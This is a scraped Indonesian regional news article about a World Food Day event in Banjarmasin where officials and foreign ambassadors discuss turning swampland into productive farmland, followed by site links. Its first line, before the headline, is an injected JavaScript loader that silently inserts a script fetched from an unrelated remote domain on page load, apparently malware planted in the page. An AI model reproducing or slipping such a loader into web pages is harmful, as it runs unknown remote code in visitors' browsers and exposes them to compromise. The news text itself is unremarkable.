(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kalsel Bisa Jadi Tempat Belajar Banyak Negara tentang Pertanian Berbasis Rawa


BANJARMASIN, Kementerian Pertanian (Kementan) memperingati Hari Pangan Sedunia (HPS) yang ke-38 bersama lebih dari 20 duta besar dari berbagai negara. Mereka memang sengaja diundang untuk dapat mengikuti gelaran acara yang berlangsung.

Menurut  Kepala Badan Ketahanan Pangan Kementan Agung Hendriadi puluhan delegasi nantinya akan mempelajari sistem inovasi yang dilakukan Indonesia dengan mengolah rawa-rawa menjadi sentra pangan produktif.

“Jadi begini, kita ingin menunjukkan kepada dunia bahwa Indonesia itu memanfaatkan lahan rawa secara bijak. Artinya tidak merusak lingkungan,” katanya saat Gala Diner di Gedung Mahligai Pancasila, Banjarmasin.

Selain itu, Agung menambahkan dengan adanya alih pengetahuan antara Indonesia bersama puluhan negara lainnya, nantinya mereka akan tertarik untuk berinvestasi di Indonesia khususnya dalam hal pertanian. “Pasti kita harapanya ke sana (investasi), tapi belum ada,” katanya.

Sementara itu Duta Besar Selandia Baru Jack Lee menambahkan saat ini negaranya sudah memakai konsep ekonomi berbasis pertanian, Selandia Baru, lanjut Lee, ingin mempelajari bagaimana inovasi yang dilakukan Indonesia untuk mengubah rawa-rawa menjadi sentra pangan.

“Kami ingin mempelajari bagaimana Indonesia mengelola pertanian seperti (rawa-rawa) ini. Kami akan saling bertukar pikiran dan tentu saja membuka peluang investasi bagi kedua belah pihak,” terangnya.

Saat ini terdapat sekitar 34 juta hektare lahan rawa di Indonesia. Sekitar 10 juta hektare telah dinyatakan berpotensi untuk produksi sentra pangan pertanian. “Lahan rawa 10 juta (hektare) potensi dengan pertanian berkelanjutan, kalau 10 juta ini bisa produksi nilainya Rp 1.000 – Rp 2.000 triliun pendapatan petani. Kuncinya yaitu water management bagaimana air hujan ditangkap sebagai produksi, jangan dibiarkan menuju laut begitu saja,” kata Menteri Pertanian Amran.

Dalam sambutannya Sahbirin Noor menyampaikan bahwa kegiatan ini bisa berjalan dengan baik juga merupakan sinergiritas pemerintah pusat, kabupaten, dan kota yang berkolaborasi. Ia juga tidak lupa memberi sambutan kepada para tamu kedubes dan berharap agar mereka bisa enjoy di bumi Lambung Mangkurat ini.

Sedangkan Perwakilan FAO di Indonesia juga menyampaikan bahwa pemerintah sangat paham bahwa produksi pangan harus ditingkatkan untuk tahun 2050. Karena pada 2050 nanti penduduk Indonesia akan mencapai hingga 300 juta jiwa.

“Hal yang beriringan pula dengan berubahnya urbanisasi, industrialisasi, dan permintaan konsumen yang meningkat tentu akan berpengaruhi besar. Fokus pemerintah tahun ini menegaskan upaya yang sangat besar untuk menghadapi tantangan tersebut,” jelasnya.

Ia juga menambahkan bahwa menurut catatan FAO, ada 34 juta hektare rawa di Indonesia. Lebih dari 9 juta rawanya berpotensi besar untuk pertanian. Di Jejangkit sendiri ada 4000 hektare siap kelola.

Ia juga mengajak agar seluruh masyarakat untuk menghemat makanan untuk menghargai kontribusi sumber daya manusia dan alam.

Acara ini ditutup dengan Penekanan tombol peluncuran optimalisasi pemanfaatan lahan rawa lebak dan pasang surut menuju indonesia limbung pangan dunia 2045. Setelah itu diakhiri dengan para menteri dan kedubes melakulan panen raya serta melihat-lihat ternak ikan, bebek, dan sawah siap panen.(mario)

Reporter: Mario
Editor: Chell

Desy Arfianty

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

7 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

7 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

8 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

9 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

9 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

13 jam ago

This website uses cookies.